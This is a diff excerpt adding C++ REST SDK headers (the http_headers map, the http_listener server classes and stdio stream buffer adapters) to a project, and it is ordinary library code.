/// <typeparam name="_t">The type of the value to bind to.</typeparam>
|
||||||
|
/// <param name="text">The string value.</param>
|
||||||
|
/// <param name="ref">The value to bind to.</param>
|
||||||
|
/// <returns><c>true</c> if the binding succeeds, <c>false</c> otherwise.</returns>
|
||||||
|
template<typename key_type, typename _t>
|
||||||
|
CASABLANCA_DEPRECATED("This API is deprecated and will be removed in a future release, std::istringstream instead.")
|
||||||
|
bool bind(const key_type& text, _t& ref) // const
|
||||||
|
{
|
||||||
|
utility::istringstream_t iss(text);
|
||||||
|
iss >> ref;
|
||||||
|
if (iss.fail() || !iss.eof())
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Binds an individual reference to a string value.
|
||||||
|
/// This specialization is need because <c>istringstream::>></c> delimits on whitespace.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="key_type">The type of the string value.</typeparam>
|
||||||
|
/// <param name="text">The string value.</param>
|
||||||
|
/// <param name="ref">The value to bind to.</param>
|
||||||
|
/// <returns><c>true</c> if the binding succeeds, <c>false</c> otherwise.</returns>
|
||||||
|
template<typename key_type>
|
||||||
|
CASABLANCA_DEPRECATED("This API is deprecated and will be removed in a future release.")
|
||||||
|
bool bind(const key_type& text, utility::string_t& ref) // const
|
||||||
|
{
|
||||||
|
ref = text;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
template<typename key_type, typename _t>
|
||||||
|
bool bind_impl(const key_type& text, _t& ref)
|
||||||
|
{
|
||||||
|
utility::istringstream_t iss(text);
|
||||||
|
iss.imbue(std::locale::classic());
|
||||||
|
iss >> ref;
|
||||||
|
if (iss.fail() || !iss.eof())
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename key_type>
|
||||||
|
bool bind_impl(const key_type& text, utf16string& ref)
|
||||||
|
{
|
||||||
|
ref = utility::conversions::to_utf16string(text);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename key_type>
|
||||||
|
bool bind_impl(const key_type& text, std::string& ref)
|
||||||
|
{
|
||||||
|
ref = utility::conversions::to_utf8string(text);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents HTTP headers, acts like a map.
|
||||||
|
/// </summary>
|
||||||
|
class http_headers
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// Function object to perform case insensitive comparison of wstrings.
|
||||||
|
struct _case_insensitive_cmp
|
||||||
|
{
|
||||||
|
bool operator()(const utility::string_t& str1, const utility::string_t& str2) const
|
||||||
|
{
|
||||||
|
return utility::details::str_iless(str1, str2);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
private:
|
||||||
|
typedef std::map<utility::string_t, utility::string_t, _case_insensitive_cmp> inner_container;
|
||||||
|
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// STL-style typedefs
|
||||||
|
/// </summary>
|
||||||
|
typedef inner_container::key_type key_type;
|
||||||
|
typedef inner_container::key_compare key_compare;
|
||||||
|
typedef inner_container::allocator_type allocator_type;
|
||||||
|
typedef inner_container::size_type size_type;
|
||||||
|
typedef inner_container::difference_type difference_type;
|
||||||
|
typedef inner_container::pointer pointer;
|
||||||
|
typedef inner_container::const_pointer const_pointer;
|
||||||
|
typedef inner_container::reference reference;
|
||||||
|
typedef inner_container::const_reference const_reference;
|
||||||
|
typedef inner_container::iterator iterator;
|
||||||
|
typedef inner_container::const_iterator const_iterator;
|
||||||
|
typedef inner_container::reverse_iterator reverse_iterator;
|
||||||
|
typedef inner_container::const_reverse_iterator const_reverse_iterator;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs an empty set of HTTP headers.
|
||||||
|
/// </summary>
|
||||||
|
http_headers() {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy constructor.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">An <c>http_headers</c> object to copy from.</param>
|
||||||
|
http_headers(const http_headers& other) : m_headers(other.m_headers) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Assignment operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">An <c>http_headers</c> object to copy from.</param>
|
||||||
|
http_headers& operator=(const http_headers& other)
|
||||||
|
{
|
||||||
|
if (this != &other)
|
||||||
|
{
|
||||||
|
m_headers = other.m_headers;
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move constructor.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">An <c>http_headers</c> object to move.</param>
|
||||||
|
http_headers(http_headers&& other) : m_headers(std::move(other.m_headers)) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move assignment operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">An <c>http_headers</c> object to move.</param>
|
||||||
|
http_headers& operator=(http_headers&& other)
|
||||||
|
{
|
||||||
|
if (this != &other)
|
||||||
|
{
|
||||||
|
m_headers = std::move(other.m_headers);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a header field using the '<<' operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the header field.</param>
|
||||||
|
/// <param name="value">The value of the header field.</param>
|
||||||
|
/// <remarks>If the header field exists, the value will be combined as comma separated string.</remarks>
|
||||||
|
template<typename _t1>
|
||||||
|
void add(const key_type& name, const _t1& value)
|
||||||
|
{
|
||||||
|
auto printedValue = utility::conversions::details::print_string(value);
|
||||||
|
auto& mapVal = m_headers[name];
|
||||||
|
if (mapVal.empty())
|
||||||
|
{
|
||||||
|
mapVal = std::move(printedValue);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
mapVal.append(_XPLATSTR(", ")).append(std::move(printedValue));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Removes a header field.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the header field.</param>
|
||||||
|
void remove(const key_type& name) { m_headers.erase(name); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Removes all elements from the headers.
|
||||||
|
/// </summary>
|
||||||
|
void clear() { m_headers.clear(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if there is a header with the given key.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the header field.</param>
|
||||||
|
/// <returns><c>true</c> if there is a header with the given name, <c>false</c> otherwise.</returns>
|
||||||
|
bool has(const key_type& name) const { return m_headers.find(name) != m_headers.end(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the number of header fields.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Number of header fields.</returns>
|
||||||
|
size_type size() const { return m_headers.size(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Tests to see if there are any header fields.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>true</c> if there are no headers, <c>false</c> otherwise.</returns>
|
||||||
|
bool empty() const { return m_headers.empty(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a reference to header field with given name, if there is no header field one is inserted.
|
||||||
|
/// </summary>
|
||||||
|
utility::string_t& operator[](const key_type& name) { return m_headers[name]; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if a header field exists with given name and returns an iterator if found. Otherwise
|
||||||
|
/// and iterator to end is returned.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the header field.</param>
|
||||||
|
/// <returns>An iterator to where the HTTP header is found.</returns>
|
||||||
|
iterator find(const key_type& name) { return m_headers.find(name); }
|
||||||
|
const_iterator find(const key_type& name) const { return m_headers.find(name); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Attempts to match a header field with the given name using the '>>' operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the header field.</param>
|
||||||
|
/// <param name="value">The value of the header field.</param>
|
||||||
|
/// <returns><c>true</c> if header field was found and successfully stored in value parameter.</returns>
|
||||||
|
template<typename _t1>
|
||||||
|
bool match(const key_type& name, _t1& value) const
|
||||||
|
{
|
||||||
|
auto iter = m_headers.find(name);
|
||||||
|
if (iter == m_headers.end())
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return web::http::details::bind_impl(iter->second, value) || iter->second.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns an iterator referring to the first header field.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An iterator to the beginning of the HTTP headers</returns>
|
||||||
|
iterator begin() { return m_headers.begin(); }
|
||||||
|
const_iterator begin() const { return m_headers.begin(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns an iterator referring to the past-the-end header field.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An iterator to the element past the end of the HTTP headers.</returns>
|
||||||
|
iterator end() { return m_headers.end(); }
|
||||||
|
const_iterator end() const { return m_headers.end(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the content length of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The length of the content.</returns>
|
||||||
|
_ASYNCRTIMP utility::size64_t content_length() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the content length of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="length">The length of the content.</param>
|
||||||
|
_ASYNCRTIMP void set_content_length(utility::size64_t length);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the content type of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The content type of the body.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t content_type() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the content type of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="type">The content type of the body.</param>
|
||||||
|
_ASYNCRTIMP void set_content_type(utility::string_t type);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the cache control header of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The cache control header value.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t cache_control() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the cache control header of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="control">The cache control header value.</param>
|
||||||
|
_ASYNCRTIMP void set_cache_control(utility::string_t control);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the date header of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The date header value.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t date() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the date header of the message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="date">The date header value.</param>
|
||||||
|
_ASYNCRTIMP void set_date(const utility::datetime& date);
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Headers are stored in a map with case insensitive key.
|
||||||
|
inner_container m_headers;
|
||||||
|
};
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,342 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: HTTP listener (server-side) APIs
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_HTTP_LISTENER_H
|
||||||
|
#define CASA_HTTP_LISTENER_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_msg.h"
|
||||||
|
#include <functional>
|
||||||
|
#include <limits>
|
||||||
|
#if !defined(_WIN32) && !defined(__cplusplus_winrt) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
#include <boost/asio/ssl.hpp>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if !defined(_WIN32) || (_WIN32_WINNT >= _WIN32_WINNT_VISTA && !defined(__cplusplus_winrt)) || \
|
||||||
|
defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
/// HTTP listener is currently in beta.
|
||||||
|
namespace experimental
|
||||||
|
{
|
||||||
|
/// HTTP server side library.
|
||||||
|
namespace listener
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Configuration class used to set various options when constructing and http_listener instance.
|
||||||
|
/// </summary>
|
||||||
|
class http_listener_config
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Create an http_listener configuration with default options.
|
||||||
|
/// </summary>
|
||||||
|
http_listener_config() : m_timeout(utility::seconds(120)), m_backlog(0) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy constructor.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">http_listener_config to copy.</param>
|
||||||
|
http_listener_config(const http_listener_config& other)
|
||||||
|
: m_timeout(other.m_timeout)
|
||||||
|
, m_backlog(other.m_backlog)
|
||||||
|
#if !defined(_WIN32) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
, m_ssl_context_callback(other.m_ssl_context_callback)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move constructor.
|
||||||
|
/// <summary>
|
||||||
|
/// <param name="other">http_listener_config to move from.</param>
|
||||||
|
http_listener_config(http_listener_config&& other)
|
||||||
|
: m_timeout(std::move(other.m_timeout))
|
||||||
|
, m_backlog(std::move(other.m_backlog))
|
||||||
|
#if !defined(_WIN32) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
, m_ssl_context_callback(std::move(other.m_ssl_context_callback))
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Assignment operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>http_listener_config instance.</returns>
|
||||||
|
http_listener_config& operator=(const http_listener_config& rhs)
|
||||||
|
{
|
||||||
|
if (this != &rhs)
|
||||||
|
{
|
||||||
|
m_timeout = rhs.m_timeout;
|
||||||
|
m_backlog = rhs.m_backlog;
|
||||||
|
#if !defined(_WIN32) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
m_ssl_context_callback = rhs.m_ssl_context_callback;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Assignment operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>http_listener_config instance.</returns>
|
||||||
|
http_listener_config& operator=(http_listener_config&& rhs)
|
||||||
|
{
|
||||||
|
if (this != &rhs)
|
||||||
|
{
|
||||||
|
m_timeout = std::move(rhs.m_timeout);
|
||||||
|
m_backlog = std::move(rhs.m_backlog);
|
||||||
|
#if !defined(_WIN32) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
m_ssl_context_callback = std::move(rhs.m_ssl_context_callback);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the timeout
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The timeout (in seconds).</returns>
|
||||||
|
utility::seconds timeout() const { return m_timeout; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the timeout
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="timeout">The timeout (in seconds) used for each send and receive operation on the client.</param>
|
||||||
|
void set_timeout(utility::seconds timeout) { m_timeout = std::move(timeout); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the listen backlog
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The maximum length of the queue of pending connections, or zero for the implementation
|
||||||
|
/// default.</returns> <remarks>The implementation may not honour this value.</remarks>
|
||||||
|
int backlog() const { return m_backlog; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the listen backlog
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="backlog">The maximum length of the queue of pending connections, or zero for the implementation
|
||||||
|
/// default.</param> <remarks>The implementation may not honour this value.</remarks>
|
||||||
|
void set_backlog(int backlog) { m_backlog = backlog; }
|
||||||
|
|
||||||
|
#if !defined(_WIN32) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
/// <summary>
|
||||||
|
/// Get the callback of ssl context
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The function defined by the user of http_listener_config to configure a ssl context.</returns>
|
||||||
|
const std::function<void(boost::asio::ssl::context&)>& get_ssl_context_callback() const
|
||||||
|
{
|
||||||
|
return m_ssl_context_callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the callback of ssl context
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ssl_context_callback">The function to configure a ssl context which will setup https
|
||||||
|
/// connections.</param>
|
||||||
|
void set_ssl_context_callback(const std::function<void(boost::asio::ssl::context&)>& ssl_context_callback)
|
||||||
|
{
|
||||||
|
m_ssl_context_callback = ssl_context_callback;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
private:
|
||||||
|
utility::seconds m_timeout;
|
||||||
|
int m_backlog;
|
||||||
|
#if !defined(_WIN32) || defined(CPPREST_FORCE_HTTP_LISTENER_ASIO)
|
||||||
|
std::function<void(boost::asio::ssl::context&)> m_ssl_context_callback;
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Internal class for pointer to implementation design pattern.
|
||||||
|
/// </summary>
|
||||||
|
class http_listener_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
http_listener_impl() : m_closed(true), m_close_task(pplx::task_from_result()) {}
|
||||||
|
|
||||||
|
_ASYNCRTIMP http_listener_impl(http::uri address);
|
||||||
|
_ASYNCRTIMP http_listener_impl(http::uri address, http_listener_config config);
|
||||||
|
|
||||||
|
_ASYNCRTIMP pplx::task<void> open();
|
||||||
|
_ASYNCRTIMP pplx::task<void> close();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Handler for all requests. The HTTP host uses this to dispatch a message to the pipeline.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>Only HTTP server implementations should call this API.</remarks>
|
||||||
|
_ASYNCRTIMP void handle_request(http::http_request msg);
|
||||||
|
|
||||||
|
const http::uri& uri() const { return m_uri; }
|
||||||
|
|
||||||
|
const http_listener_config& configuration() const { return m_config; }
|
||||||
|
|
||||||
|
// Handlers
|
||||||
|
std::function<void(http::http_request)> m_all_requests;
|
||||||
|
std::map<http::method, std::function<void(http::http_request)>> m_supported_methods;
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Default implementation for TRACE and OPTIONS.
|
||||||
|
void handle_trace(http::http_request message);
|
||||||
|
void handle_options(http::http_request message);
|
||||||
|
|
||||||
|
// Gets a comma separated string containing the methods supported by this listener.
|
||||||
|
utility::string_t get_supported_methods() const;
|
||||||
|
|
||||||
|
http::uri m_uri;
|
||||||
|
http_listener_config m_config;
|
||||||
|
|
||||||
|
// Used to record that the listener is closed.
|
||||||
|
bool m_closed;
|
||||||
|
pplx::task<void> m_close_task;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A class for listening and processing HTTP requests at a specific URI.
|
||||||
|
/// </summary>
|
||||||
|
class http_listener
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Create a listener from a URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>The listener will not have been opened when returned.</remarks>
|
||||||
|
/// <param name="address">URI at which the listener should accept requests.</param>
|
||||||
|
http_listener(http::uri address)
|
||||||
|
: m_impl(utility::details::make_unique<details::http_listener_impl>(std::move(address)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a listener with specified URI and configuration.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="address">URI at which the listener should accept requests.</param>
|
||||||
|
/// <param name="config">Configuration to create listener with.</param>
|
||||||
|
http_listener(http::uri address, http_listener_config config)
|
||||||
|
: m_impl(utility::details::make_unique<details::http_listener_impl>(std::move(address), std::move(config)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Default constructor.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>The resulting listener cannot be used for anything, but is useful to initialize a variable
|
||||||
|
/// that will later be overwritten with a real listener instance.</remarks>
|
||||||
|
http_listener() : m_impl(utility::details::make_unique<details::http_listener_impl>()) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Destructor frees any held resources.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>Call close() before allowing a listener to be destroyed.</remarks>
|
||||||
|
~http_listener()
|
||||||
|
{
|
||||||
|
if (m_impl)
|
||||||
|
{
|
||||||
|
// As a safe guard close the listener if not already done.
|
||||||
|
// Users are required to call close, but this is just a safeguard.
|
||||||
|
try
|
||||||
|
{
|
||||||
|
m_impl->close().wait();
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously open the listener, i.e. start accepting requests.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A task that will be completed once this listener is actually opened, accepting requests.</returns>
|
||||||
|
pplx::task<void> open() { return m_impl->open(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously stop accepting requests and close all connections.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A task that will be completed once this listener is actually closed, no longer accepting
|
||||||
|
/// requests.</returns> <remarks> This function will stop accepting requests and wait for all outstanding handler
|
||||||
|
/// calls to finish before completing the task. Waiting on the task returned from close() within a handler and
|
||||||
|
/// blocking waiting for its result will result in a deadlock.
|
||||||
|
///
|
||||||
|
/// Call close() before allowing a listener to be destroyed.
|
||||||
|
/// </remarks>
|
||||||
|
pplx::task<void> close() { return m_impl->close(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Add a general handler to support all requests.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="handler">Function object to be called for all requests.</param>
|
||||||
|
void support(const std::function<void(http_request)>& handler) { m_impl->m_all_requests = handler; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Add support for a specific HTTP method.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="method">An HTTP method.</param>
|
||||||
|
/// <param name="handler">Function object to be called for all requests for the given HTTP method.</param>
|
||||||
|
void support(const http::method& method, const std::function<void(http_request)>& handler)
|
||||||
|
{
|
||||||
|
m_impl->m_supported_methods[method] = handler;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the URI of the listener.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI this listener is for.</returns>
|
||||||
|
const http::uri& uri() const { return m_impl->uri(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the configuration of this listener.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Configuration this listener was constructed with.</returns>
|
||||||
|
const http_listener_config& configuration() const { return m_impl->configuration(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move constructor.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">http_listener instance to construct this one from.</param>
|
||||||
|
http_listener(http_listener&& other) : m_impl(std::move(other.m_impl)) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move assignment operator.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">http_listener to replace this one with.</param>
|
||||||
|
http_listener& operator=(http_listener&& other)
|
||||||
|
{
|
||||||
|
if (this != &other)
|
||||||
|
{
|
||||||
|
m_impl = std::move(other.m_impl);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// No copying of listeners.
|
||||||
|
http_listener(const http_listener& other);
|
||||||
|
http_listener& operator=(const http_listener& other);
|
||||||
|
|
||||||
|
std::unique_ptr<details::http_listener_impl> m_impl;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace listener
|
||||||
|
} // namespace experimental
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
||||||
|
|
||||||
|
#endif
|
||||||
|
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,554 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Adapter classes for async and STD stream buffers, used to connect std-based and async-based APIs.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/astreambuf.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/streams.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
|
||||||
|
#if defined(_WIN32)
|
||||||
|
#pragma warning(push)
|
||||||
|
#pragma warning(disable : 4250)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace Concurrency
|
||||||
|
{
|
||||||
|
namespace streams
|
||||||
|
{
|
||||||
|
template<typename CharType>
|
||||||
|
class stdio_ostream;
|
||||||
|
template<typename CharType>
|
||||||
|
class stdio_istream;
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The basic_stdio_buffer class serves to support interoperability with STL stream buffers.
|
||||||
|
/// Sitting atop a std::streambuf, which does all the I/O, instances of this class may read
|
||||||
|
/// and write data to standard iostreams. The class itself should not be used in application
|
||||||
|
/// code, it is used by the stream definitions farther down in the header file.
|
||||||
|
/// </summary>
|
||||||
|
template<typename _CharType>
|
||||||
|
class basic_stdio_buffer : public streambuf_state_manager<_CharType>
|
||||||
|
{
|
||||||
|
typedef concurrency::streams::char_traits<_CharType> traits;
|
||||||
|
typedef typename traits::int_type int_type;
|
||||||
|
typedef typename traits::pos_type pos_type;
|
||||||
|
typedef typename traits::off_type off_type;
|
||||||
|
/// <summary>
|
||||||
|
/// Private constructor
|
||||||
|
/// </summary>
|
||||||
|
basic_stdio_buffer(_In_ std::basic_streambuf<_CharType>* streambuf, std::ios_base::openmode mode)
|
||||||
|
: streambuf_state_manager<_CharType>(mode), m_buffer(streambuf)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Destructor
|
||||||
|
/// </summary>
|
||||||
|
virtual ~basic_stdio_buffer()
|
||||||
|
{
|
||||||
|
this->_close_read();
|
||||||
|
this->_close_write();
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
//
|
||||||
|
// The functions overridden below here are documented elsewhere.
|
||||||
|
// See astreambuf.h for further information.
|
||||||
|
//
|
||||||
|
virtual bool can_seek() const { return this->is_open(); }
|
||||||
|
virtual bool has_size() const { return false; }
|
||||||
|
|
||||||
|
virtual size_t in_avail() const { return (size_t)m_buffer->in_avail(); }
|
||||||
|
|
||||||
|
virtual size_t buffer_size(std::ios_base::openmode) const { return 0; }
|
||||||
|
virtual void set_buffer_size(size_t, std::ios_base::openmode) { return; }
|
||||||
|
|
||||||
|
virtual pplx::task<bool> _sync() { return pplx::task_from_result(m_buffer->pubsync() == 0); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _putc(_CharType ch) { return pplx::task_from_result(m_buffer->sputc(ch)); }
|
||||||
|
virtual pplx::task<size_t> _putn(const _CharType* ptr, size_t size)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result((size_t)m_buffer->sputn(ptr, size));
|
||||||
|
}
|
||||||
|
|
||||||
|
